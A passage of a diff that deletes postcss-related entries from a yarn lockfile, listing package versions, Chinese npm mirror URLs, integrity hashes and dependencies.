-  resolved "https://registry.nlark.com/posix-character-classes/download/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
-postcss-attribute-case-insensitive@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/postcss-attribute-case-insensitive/download/postcss-attribute-case-insensitive-4.0.2.tgz?cache=0&sync_timestamp=1600194210360&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-attribute-case-insensitive%2Fdownload%2Fpostcss-attribute-case-insensitive-4.0.2.tgz#d93e46b504589e94ac7277b0463226c68041a880"
-  integrity sha1-2T5GtQRYnpSscnewRjImxoBBqIA=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^6.0.2"
-
-postcss-browser-comments@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-browser-comments/download/postcss-browser-comments-3.0.0.tgz#1248d2d935fb72053c8e1f61a84a57292d9f65e9"
-  integrity sha1-EkjS2TX7cgU8jh9hqEpXKS2fZek=
-  dependencies:
-    postcss "^7"
-
-postcss-calc@^7.0.1:
-  version "7.0.5"
-  resolved "https://registry.nlark.com/postcss-calc/download/postcss-calc-7.0.5.tgz#f8a6e99f12e619c2ebc23cf6c486fdc15860933e"
-  integrity sha1-+KbpnxLmGcLrwjz2xIb9wVhgkz4=
-  dependencies:
-    postcss "^7.0.27"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.0.2"
-
-postcss-color-functional-notation@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/postcss-color-functional-notation/download/postcss-color-functional-notation-2.0.1.tgz#5efd37a88fbabeb00a2966d1e53d98ced93f74e0"
-  integrity sha1-Xv03qI+6vrAKKWbR5T2Yztk/dOA=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-gray@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-color-gray/download/postcss-color-gray-5.0.0.tgz#532a31eb909f8da898ceffe296fdc1f864be8547"
-  integrity sha1-Uyox65CfjaiYzv/ilv3B+GS+hUc=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-hex-alpha@^5.0.3:
-  version "5.0.3"
-  resolved "https://registry.nlark.com/postcss-color-hex-alpha/download/postcss-color-hex-alpha-5.0.3.tgz#a8d9ca4c39d497c9661e374b9c51899ef0f87388"
-  integrity sha1-qNnKTDnUl8lmHjdLnFGJnvD4c4g=
-  dependencies:
-    postcss "^7.0.14"
-    postcss-values-parser "^2.0.1"
-
-postcss-color-mod-function@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/postcss-color-mod-function/download/postcss-color-mod-function-3.0.3.tgz#816ba145ac11cc3cb6baa905a75a49f903e4d31d"
-  integrity sha1-gWuhRawRzDy2uqkFp1pJ+QPk0x0=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-rebeccapurple@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-color-rebeccapurple/download/postcss-color-rebeccapurple-4.0.1.tgz#c7a89be872bb74e45b1e3022bfe5748823e6de77"
-  integrity sha1-x6ib6HK7dORbHjAiv+V0iCPm3nc=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-colormin@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-colormin/download/postcss-colormin-4.0.3.tgz#ae060bce93ed794ac71264f08132d550956bd381"
-  integrity sha1-rgYLzpPteUrHEmTwgTLVUJVr04E=
-  dependencies:
-    browserslist "^4.0.0"
-    color "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-convert-values@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-convert-values/download/postcss-convert-values-4.0.1.tgz?cache=0&sync_timestamp=1621449733448&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-convert-values%2Fdownload%2Fpostcss-convert-values-4.0.1.tgz#ca3813ed4da0f812f9d43703584e449ebe189a7f"
-  integrity sha1-yjgT7U2g+BL51DcDWE5Enr4Ymn8=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-custom-media@^7.0.8:
-  version "7.0.8"
-  resolved "https://registry.nlark.com/postcss-custom-media/download/postcss-custom-media-7.0.8.tgz#fffd13ffeffad73621be5f387076a28b00294e0c"
-  integrity sha1-//0T/+/61zYhvl84cHaiiwApTgw=
-  dependencies:
-    postcss "^7.0.14"
-
-postcss-custom-properties@^8.0.11:
-  version "8.0.11"
-  resolved "https://registry.npm.taobao.org/postcss-custom-properties/download/postcss-custom-properties-8.0.11.tgz?cache=0&sync_timestamp=1610468042298&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-custom-properties%2Fdownload%2Fpostcss-custom-properties-8.0.11.tgz#2d61772d6e92f22f5e0d52602df8fae46fa30d97"
-  integrity sha1-LWF3LW6S8i9eDVJgLfj65G+jDZc=
-  dependencies:
-    postcss "^7.0.17"
-    postcss-values-parser "^2.0.1"
-
-postcss-custom-selectors@^5.1.2:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/postcss-custom-selectors/download/postcss-custom-selectors-5.1.2.tgz?cache=0&sync_timestamp=1610469257838&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-custom-selectors%2Fdownload%2Fpostcss-custom-selectors-5.1.2.tgz#64858c6eb2ecff2fb41d0b28c9dd7b3db4de7fba"
-  integrity sha1-ZIWMbrLs/y+0HQsoyd17PbTef7o=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-dir-pseudo-class@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/postcss-dir-pseudo-class/download/postcss-dir-pseudo-class-5.0.0.tgz#6e3a4177d0edb3abcc85fdb6fbb1c26dabaeaba2"
-  integrity sha1-bjpBd9Dts6vMhf22+7HCbauuq6I=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-discard-comments@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-discard-comments/download/postcss-discard-comments-4.0.2.tgz?cache=0&sync_timestamp=1621449558287&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-discard-comments%2Fdownload%2Fpostcss-discard-comments-4.0.2.tgz#1fbabd2c246bff6aaad7997b2b0918f4d7af4033"
-  integrity sha1-H7q9LCRr/2qq15l7KwkY9NevQDM=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-duplicates@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-discard-duplicates/download/postcss-discard-duplicates-4.0.2.tgz?cache=0&sync_timestamp=1621449558296&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-discard-duplicates%2Fdownload%2Fpostcss-discard-duplicates-4.0.2.tgz#3fe133cd3c82282e550fc9b239176a9207b784eb"
-  integrity sha1-P+EzzTyCKC5VD8myORdqkge3hOs=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-empty@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-discard-empty/download/postcss-discard-empty-4.0.1.tgz?cache=0&sync_timestamp=1621449733074&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-discard-empty%2Fdownload%2Fpostcss-discard-empty-4.0.1.tgz#c8c951e9f73ed9428019458444a02ad90bb9f765"
-  integrity sha1-yMlR6fc+2UKAGUWERKAq2Qu592U=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-overridden@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-discard-overridden/download/postcss-discard-overridden-4.0.1.tgz?cache=0&sync_timestamp=1621449732464&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-discard-overridden%2Fdownload%2Fpostcss-discard-overridden-4.0.1.tgz#652aef8a96726f029f5e3e00146ee7a4e755ff57"
-  integrity sha1-ZSrvipZybwKfXj4AFG7npOdV/1c=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-double-position-gradients@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-double-position-gradients/download/postcss-double-position-gradients-1.0.0.tgz#fc927d52fddc896cb3a2812ebc5df147e110522e"
-  integrity sha1-/JJ9Uv3ciWyzooEuvF3xR+EQUi4=
-  dependencies:
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-env-function@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/postcss-env-function/download/postcss-env-function-2.0.2.tgz#0f3e3d3c57f094a92c2baf4b6241f0b0da5365d7"
-  integrity sha1-Dz49PFfwlKksK69LYkHwsNpTZdc=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-flexbugs-fixes@4.1.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/postcss-flexbugs-fixes/download/postcss-flexbugs-fixes-4.1.0.tgz?cache=0&sync_timestamp=1605876068890&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-flexbugs-fixes%2Fdownload%2Fpostcss-flexbugs-fixes-4.1.0.tgz#e094a9df1783e2200b7b19f875dcad3b3aff8b20"
-  integrity sha1-4JSp3xeD4iALexn4ddytOzr/iyA=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-focus-visible@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/postcss-focus-visible/download/postcss-focus-visible-4.0.0.tgz#477d107113ade6024b14128317ade2bd1e17046e"
-  integrity sha1-R30QcROt5gJLFBKDF63ivR4XBG4=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-focus-within@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-focus-within/download/postcss-focus-within-3.0.0.tgz#763b8788596cee9b874c999201cdde80659ef680"
-  integrity sha1-djuHiFls7puHTJmSAc3egGWe9oA=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-font-variant@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-font-variant/download/postcss-font-variant-4.0.1.tgz#42d4c0ab30894f60f98b17561eb5c0321f502641"
-  integrity sha1-QtTAqzCJT2D5ixdWHrXAMh9QJkE=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-gap-properties@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/postcss-gap-properties/download/postcss-gap-properties-2.0.0.tgz#431c192ab3ed96a3c3d09f2ff615960f902c1715"
-  integrity sha1-QxwZKrPtlqPD0J8v9hWWD5AsFxU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-image-set-function@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.nlark.com/postcss-image-set-function/download/postcss-image-set-function-3.0.1.tgz#28920a2f29945bed4c3198d7df6496d410d3f288"
-  integrity sha1-KJIKLymUW+1MMZjX32SW1BDT8og=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-initial@^3.0.0:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/postcss-initial/download/postcss-initial-3.0.4.tgz#9d32069a10531fe2ecafa0b6ac750ee0bc7efc53"
-  integrity sha1-nTIGmhBTH+Lsr6C2rHUO4Lx+/FM=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-lab-function@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/postcss-lab-function/download/postcss-lab-function-2.0.1.tgz#bb51a6856cd12289ab4ae20db1e3821ef13d7d2e"
-  integrity sha1-u1GmhWzRIomrSuINseOCHvE9fS4=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-load-config@^2.0.0:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/postcss-load-config/download/postcss-load-config-2.1.2.tgz?cache=0&sync_timestamp=1618847231779&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-load-config%2Fdownload%2Fpostcss-load-config-2.1.2.tgz#c5ea504f2c4aef33c7359a34de3573772ad7502a"
-  integrity sha1-xepQTyxK7zPHNZo03jVzdyrXUCo=
-  dependencies:
-    cosmiconfig "^5.0.0"
-    import-cwd "^2.0.0"
-
-postcss-loader@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-loader/download/postcss-loader-3.0.0.tgz#6b97943e47c72d845fa9e03f273773d4e8dd6c2d"
-  integrity sha1-a5eUPkfHLYRfqeA/Jzdz1OjdbC0=
-  dependencies:
-    loader-utils "^1.1.0"
-    postcss "^7.0.0"
-    postcss-load-config "^2.0.0"
-    schema-utils "^1.0.0"
-
-postcss-logical@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-logical/download/postcss-logical-3.0.0.tgz#2495d0f8b82e9f262725f75f9401b34e7b45d5b5"
-  integrity sha1-JJXQ+LgunyYnJfdflAGzTntF1bU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-media-minmax@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-media-minmax/download/postcss-media-minmax-4.0.0.tgz?cache=0&sync_timestamp=1610466264580&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-media-minmax%2Fdownload%2Fpostcss-media-minmax-4.0.0.tgz#b75bb6cbc217c8ac49433e12f22048814a4f5ed5"
-  integrity sha1-t1u2y8IXyKxJQz4S8iBIgUpPXtU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-merge-longhand@^4.0.11:
-  version "4.0.11"
-  resolved "https://registry.nlark.com/postcss-merge-longhand/download/postcss-merge-longhand-4.0.11.tgz?cache=0&sync_timestamp=1621449731452&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-merge-longhand%2Fdownload%2Fpostcss-merge-longhand-4.0.11.tgz#62f49a13e4a0ee04e7b98f42bb16062ca2549e24"
-  integrity sha1-YvSaE+Sg7gTnuY9CuxYGLKJUniQ=
-  dependencies:
-    css-color-names "0.0.4"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    stylehacks "^4.0.0"
-
-postcss-merge-rules@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-merge-rules/download/postcss-merge-rules-4.0.3.tgz?cache=0&sync_timestamp=1622234641993&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-merge-rules%2Fdownload%2Fpostcss-merge-rules-4.0.3.tgz#362bea4ff5a1f98e4075a713c6cb25aefef9a650"
-  integrity sha1-NivqT/Wh+Y5AdacTxsslrv75plA=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    cssnano-util-same-parent "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-    vendors "^1.0.0"
-
-postcss-minify-font-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-font-values/download/postcss-minify-font-values-4.0.2.tgz?cache=0&sync_timestamp=1621449734134&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-minify-font-values%2Fdownload%2Fpostcss-minify-font-values-4.0.2.tgz#cd4c344cce474343fac5d82206ab2cbcb8afd5a6"
-  integrity sha1-zUw0TM5HQ0P6xdgiBqssvLiv1aY=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-gradients@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-gradients/download/postcss-minify-gradients-4.0.2.tgz#93b29c2ff5099c535eecda56c4aa6e665a663471"
-  integrity sha1-k7KcL/UJnFNe7NpWxKpuZlpmNHE=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    is-color-stop "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-params@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-params/download/postcss-minify-params-4.0.2.tgz?cache=0&sync_timestamp=1621449735393&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-minify-params%2Fdownload%2Fpostcss-minify-params-4.0.2.tgz#6b9cef030c11e35261f95f618c90036d680db874"
-  integrity sha1-a5zvAwwR41Jh+V9hjJADbWgNuHQ=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    browserslist "^4.0.0"
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    uniqs "^2.0.0"
-
-postcss-minify-selectors@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-selectors/download/postcss-minify-selectors-4.0.2.tgz?cache=0&sync_timestamp=1621449558355&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-minify-selectors%2Fdownload%2Fpostcss-minify-selectors-4.0.2.tgz#e2e5eb40bfee500d0cd9243500f5f8ea4262fbd8"
-  integrity sha1-4uXrQL/uUA0M2SQ1APX46kJi+9g=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-postcss-modules-extract-imports@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-modules-extract-imports/download/postcss-modules-extract-imports-2.0.0.tgz?cache=0&sync_timestamp=1602588245463&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-extract-imports%2Fdownload%2Fpostcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e"
-  integrity sha1-gYcZoa4doyX5gyRGsBE27rSTzX4=
-  dependencies:
-    postcss "^7.0.5"
-
-postcss-modules-local-by-default@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.nlark.com/postcss-modules-local-by-default/download/postcss-modules-local-by-default-3.0.3.tgz#bb14e0cc78279d504dbdcbfd7e0ca28993ffbbb0"
-  integrity sha1-uxTgzHgnnVBNvcv9fgyiiZP/u7A=
-  dependencies:
-    icss-utils "^4.1.1"
-    postcss "^7.0.32"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.1.0"
-
-postcss-modules-scope@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/postcss-modules-scope/download/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee"
-  integrity sha1-OFyuATzHdD9afXYC0Qc6iequYu4=
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^6.0.0"
-
-postcss-modules-values@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-modules-values/download/postcss-modules-values-3.0.0.tgz#5b5000d6ebae29b4255301b4a3a54574423e7f10"
-  integrity sha1-W1AA1uuuKbQlUwG0o6VFdEI+fxA=
-  dependencies:
-    icss-utils "^4.0.0"
-    postcss "^7.0.6"
-
-postcss-nesting@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/postcss-nesting/download/postcss-nesting-7.0.1.tgz#b50ad7b7f0173e5b5e3880c3501344703e04c052"
-  integrity sha1-tQrXt/AXPlteOIDDUBNEcD4EwFI=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-normalize-charset@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-charset/download/postcss-normalize-charset-4.0.1.tgz?cache=0&sync_timestamp=1621449558308&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-charset%2Fdownload%2Fpostcss-normalize-charset-4.0.1.tgz#8b35add3aee83a136b0471e0d59be58a50285dd4"
-  integrity sha1-izWt067oOhNrBHHg1ZvlilAoXdQ=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-normalize-display-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-display-values/download/postcss-normalize-display-values-4.0.2.tgz?cache=0&sync_timestamp=1621449652268&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-display-values%2Fdownload%2Fpostcss-normalize-display-values-4.0.2.tgz#0dbe04a4ce9063d4667ed2be476bb830c825935a"
-  integrity sha1-Db4EpM6QY9RmftK+R2u4MMglk1o=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-positions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-positions/download/postcss-normalize-positions-4.0.2.tgz?cache=0&sync_timestamp=1621449826472&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-positions%2Fdownload%2Fpostcss-normalize-positions-4.0.2.tgz#05f757f84f260437378368a91f8932d4b102917f"
-  integrity sha1-BfdX+E8mBDc3g2ipH4ky1LECkX8=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-repeat-style@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-repeat-style/download/postcss-normalize-repeat-style-4.0.2.tgz?cache=0&sync_timestamp=1621449651580&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-repeat-style%2Fdownload%2Fpostcss-normalize-repeat-style-4.0.2.tgz#c4ebbc289f3991a028d44751cbdd11918b17910c"
-  integrity sha1-xOu8KJ85kaAo1EdRy90RkYsXkQw=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-string@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-string/download/postcss-normalize-string-4.0.2.tgz?cache=0&sync_timestamp=1621449646930&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-string%2Fdownload%2Fpostcss-normalize-string-4.0.2.tgz#cd44c40ab07a0c7a36dc5e99aace1eca4ec2690c"
-  integrity sha1-zUTECrB6DHo23F6Zqs4eyk7CaQw=
-  dependencies:
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-timing-functions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-timing-functions/download/postcss-normalize-timing-functions-4.0.2.tgz?cache=0&sync_timestamp=1621449827577&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-timing-functions%2Fdownload%2Fpostcss-normalize-timing-functions-4.0.2.tgz#8e009ca2a3949cdaf8ad23e6b6ab99cb5e7d28d9"
-  integrity sha1-jgCcoqOUnNr4rSPmtquZy159KNk=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-unicode@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-unicode/download/postcss-normalize-unicode-4.0.1.tgz?cache=0&sync_timestamp=1621449825612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-unicode%2Fdownload%2Fpostcss-normalize-unicode-4.0.1.tgz#841bd48fdcf3019ad4baa7493a3d363b52ae1cfb"
-  integrity sha1-hBvUj9zzAZrUuqdJOj02O1KuHPs=
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-url@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-url/download/postcss-normalize-url-4.0.1.tgz?cache=0&sync_timestamp=1621449733814&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-url%2Fdownload%2Fpostcss-normalize-url-4.0.1.tgz#10e437f86bc7c7e58f7b9652ed878daaa95faae1"
-  integrity sha1-EOQ3+GvHx+WPe5ZS7YeNqqlfquE=
-  dependencies:
-    is-absolute-url "^2.0.0"
-    normalize-url "^3.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-whitespace@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-whitespace/download/postcss-normalize-whitespace-4.0.2.tgz?cache=0&sync_timestamp=1621449646853&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize-whitespace%2Fdownload%2Fpostcss-normalize-whitespace-4.0.2.tgz#bf1d4070fe4fcea87d1348e825d8cc0c5faa7d82"
-  integrity sha1-vx1AcP5Pzqh9E0joJdjMDF+qfYI=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize@8.0.1:
-  version "8.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize/download/postcss-normalize-8.0.1.tgz#90e80a7763d7fdf2da6f2f0f82be832ce4f66776"
-  integrity sha1-kOgKd2PX/fLaby8Pgr6DLOT2Z3Y=
-  dependencies:
-    "@csstools/normalize.css" "^10.1.0"
-    browserslist "^4.6.2"
-    postcss "^7.0.17"
-    postcss-browser-comments "^3.0.0"
-    sanitize.css "^10.0.0"
-
-postcss-ordered-values@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.nlark.com/postcss-ordered-values/download/postcss-ordered-values-4.1.2.tgz?cache=0&sync_timestamp=1621449735687&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-ordered-values%2Fdownload%2Fpostcss-ordered-values-4.1.2.tgz#0cf75c820ec7d5c4d280189559e0b571ebac0eee"
-  integrity sha1-DPdcgg7H1cTSgBiVWeC1ceusDu4=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-overflow-shorthand@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-overflow-shorthand/download/postcss-overflow-shorthand-2.0.0.tgz#31ecf350e9c6f6ddc250a78f0c3e111f32dd4c30"
-  integrity sha1-MezzUOnG9t3CUKePDD4RHzLdTDA=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-page-break@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/postcss-page-break/download/postcss-page-break-2.0.0.tgz#add52d0e0a528cabe6afee8b46e2abb277df46bf"
-  integrity sha1-rdUtDgpSjKvmr+6LRuKrsnffRr8=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-place@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-place/download/postcss-place-4.0.1.tgz#e9f39d33d2dc584e46ee1db45adb77ca9d1dcc62"
-  integrity sha1-6fOdM9LcWE5G7h20Wtt3yp0dzGI=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-preset-env@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.nlark.com/postcss-preset-env/download/postcss-preset-env-6.7.0.tgz#c34ddacf8f902383b35ad1e030f178f4cdf118a5"
-  integrity sha1-w03az4+QI4OzWtHgMPF49M3xGKU=
-  dependencies:
-    autoprefixer "^9.6.1"
-    browserslist "^4.6.4"
-    caniuse-lite "^1.0.30000981"
-    css-blank-pseudo "^0.1.4"
-    css-has-pseudo "^0.10.0"
-    css-prefers-color-scheme "^3.1.1"
-    cssdb "^4.4.0"
-    postcss "^7.0.17"
-    postcss-attribute-case-insensitive "^4.0.1"
-    postcss-color-functional-notation "^2.0.1"
-    postcss-color-gray "^5.0.0"
-    postcss-color-hex-alpha "^5.0.3"
-    postcss-color-mod-function "^3.0.3"
-    postcss-color-rebeccapurple "^4.0.1"
-    postcss-custom-media "^7.0.8"
-    postcss-custom-properties "^8.0.11"
-    postcss-custom-selectors "^5.1.2"
-    postcss-dir-pseudo-class "^5.0.0"
-    postcss-double-position-gradients "^1.0.0"
-    postcss-env-function "^2.0.2"
-    postcss-focus-visible "^4.0.0"
-    postcss-focus-within "^3.0.0"
-    postcss-font-variant "^4.0.0"
-    postcss-gap-properties "^2.0.0"
-    postcss-image-set-function "^3.0.1"
-    postcss-initial "^3.0.0"
-    postcss-lab-function "^2.0.1"
-    postcss-logical "^3.0.0"
-    postcss-media-minmax "^4.0.0"
-    postcss-nesting "^7.0.0"
-    postcss-overflow-shorthand "^2.0.0"
-    postcss-page-break "^2.0.0"
-    postcss-place "^4.0.1"
-    postcss-pseudo-class-any-link "^6.0.0"
-    postcss-replace-overflow-wrap "^3.0.0"
-    postcss-selector-matches "^4.0.0"
-    postcss-selector-not "^4.0.0"
-
-postcss-pseudo-class-any-link@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-pseudo-class-any-link/download/postcss-pseudo-class-any-link-6.0.0.tgz#2ed3eed393b3702879dec4a87032b210daeb04d1"
-  integrity sha1-LtPu05OzcCh53sSocDKyENrrBNE=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-reduce-initial@^4.0.3:
-  version "4.0.3"
